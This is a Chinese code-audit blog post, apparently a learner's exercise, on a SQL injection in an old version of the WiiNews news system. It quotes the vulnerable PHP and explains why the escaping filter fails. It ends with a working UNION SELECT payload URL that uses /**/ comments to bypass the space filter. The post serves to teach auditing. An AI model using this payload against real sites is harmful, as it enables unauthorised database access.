WiiNews新闻系统 SQL注入
刚开始学习代码审计,根据法师的书本和相关资料进行慢慢开始练手,这里了一款WiiNews老版本针对于练手来讲还是比较简单通俗易懂的系统来做审计!
#1 SQL注入
文件:/newsBySort.php
代码10~18行:
$sort=sqlReplace(trim($_GET['id']));
$sqlStr="select * from wiinews_newssort where newssort_id=$sort";
$result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1007");
$row = mysql_fetch_array($result);
if ($row){
$sortName=$row['newssort_name'];
}else{
die ("分类不存在。");
}
$sort=sqlReplace(trim($_GET['id']));
id参数通过$_GET以后给sqlReplace函数处理、trim函数做是处理首尾处的空白字符。
下面跟进sqlReplace函数:
function sqlReplace($str)
{
$strResult = $str;
if(!get_magic_quotes_gpc())
//如果gpc没有开
{
$strResult = addslashes($strResult);
//编码
}
return HTMLEncode($strResult);
//gpc开的话,返回HTMLEncode()
}
$str传输进来判断如果gpc没有开启的话通过php内置函数addslashes()进行处理。如果开启的话则用HTMLEncode来处理。
function HTMLEncode($str){
if (!empty($str)){
$str=str_replace("&","&",$str);
$str=str_replace(">",">",$str);
$str=str_replace("<","<",$str);
$str=str_replace(CHR(32)," ",$str); //空格
$str=str_replace(CHR(9)," ",$str);
$str=str_replace(CHR(9)," ",$str);
$str=str_replace(CHR(34),""",$str); //双引号
$str=str_replace(CHR(39),"'",$str); //单引号
$str=str_replace(CHR(13),"",$str);
$str=str_replace(CHR(10),"<br/>",$str);
}
return $str;
}
这里只拦截了引号、空格、并没有拦截类似and、select等函数。


通过数据库日志记录可以看到空格等相关的转义带入查询、这里可以用/**/注释一句来绕过SQL注入。

Url:http://127.0.0.1/WiiNews/newsBySort.php?id=1/**/and/**/1=2/**/union/**/select/**/1,version(),3,4,5,6


浙公网安备 33010602011771号